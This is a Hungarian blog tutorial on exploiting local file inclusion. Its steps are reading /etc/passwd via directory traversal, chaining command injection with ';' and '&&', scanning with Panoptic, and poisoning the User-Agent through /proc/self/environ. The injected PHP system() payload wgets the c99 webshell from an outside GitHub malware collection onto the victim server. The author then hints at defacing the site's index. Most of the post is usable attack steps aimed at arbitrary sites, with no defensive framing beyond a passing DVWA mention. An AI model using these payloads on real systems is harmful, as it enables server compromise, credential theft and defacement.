2013. október 10., csütörtök

LFI Sebezhetőség kihasználása.

Mi az LFI?
Ezen a támadáson keresztül létre jöhet jelszólopás és webshell feltöltés is. Először kell nekünk egy böngésző kiegészítő ennek a kiegészítőnek Tamper Data a neve.
Az LFI-n keresztül sok mindenhez hozzá tudunk férni, például jelszófájlokhoz is.
A DWVA-ban kicsit hibás volt az LFI hiba kihasználása, ezért elhatároztam hogy írok sajátot amin tudok gyakorolni Command Inejction-t és RFI-t meg LFI-t is. :)
Először megmutatom azt, hogy hogyan férjünk hozzá a(z) /etc/passwd-hez
http://www.oldal.hu/index.php?cat=./../../../../../etc/passwd



És ha szerencsénk van akkor ki is fog jönni a jelszófájl tartalma. Ezt a technikát directory traversal attack-nak nevezzük. Van egy fájl amit ha megnézünk és ha a kérést elfogjuk Tamperrel, átírjuk az User-Agent-et és ha elég sérülékeny az oldal akkor le is fut a kód amit beírtunk oda. :)
Ha plusz még command injection is van a szerveren akkor az nagyban megkönnyíti a dolgunkat :)
Hogy többet tudjunk, hogy milyen fájlokat tudunk megnézni amik jelentenek is valamit(pl. config fájlok)
ehhez van egy nagyon is jó program  a neve Panoptic, letöltés:
https://github.com/lightos/Panoptic
Futtassunk le egy ellenőrzést! :)
A parancs:
python panoptic.py --url http://nemtom.com/index.php?cat=x
A program ilyenkor meghatározza az OS-t a szerveren és megkérdi,hogy akarsz-e keresni dolgokat, és megnézi hogy milyen sérülékenységek vannak a szerveren.
Command Injectionon keresztül is megnézhetünk elég sok mindent. Itt egyből kiderülhet,hogy van-e command injection a szerveren vagy ne is próbálkozzunk:
http://nemtom.com/index.php?cat=../../../../../etc/passwd;ls /home
Ha úgy nem működik, hogy pontos vesszőt írsz akkor próbálj írni ilyet & ha egyszer nem jó írd kétszer &&.
Sikerült is parancsot becsempészni. :)
Idő közben a Panoptic befejezte a vizsgálatot nézzük meg mit talált. :)
Mostmár, hogy találtunk command injection-t a szerveren így könnyebb dolgunk lesz a dolgok megszerzésében.
Mint láthatjuk elég sok mindent talált meg nekünk elég lesz a /proc/self/environ is, hogy webshell-t tudjunk feltölteni. Nyisd meg a Tamper Data-t és kattints a Start Tamper opcióra és aztán nézzük meg a(z) /proc/self/environ-t http://nemtom.com/index.php?cat=./../../../../..//proc/self/environ
és ha megmutatja a fájlt akkor jó. Ezután kattints a Tamperre és az User-Agenthez írd be ezt:
<?system ('wget https://github.com/nikicat/web-malware-collection/blob/master/Backdoors/PHP/c99ud.txt -O c99ud.php');?>
Ez egy webshellt tölt le a szerverre a c99ud shellt választottam erre az alkalomra. Ha átírtad az user-agentet nyomj egy ok-ot és ha minden jól sikerült fent van a webshell. Na most akkor nézzük is meg. :)
http://nemtom.com/c99ud.php
ééééés fent is van. :)
Itt már csinálhatunk fincsi dolgokat, mondjuk az indexet kicserélni de innen már nem mesélek többet... :)
Ennyi lenne remélem érthető volt kösz,hogy elolvastad :)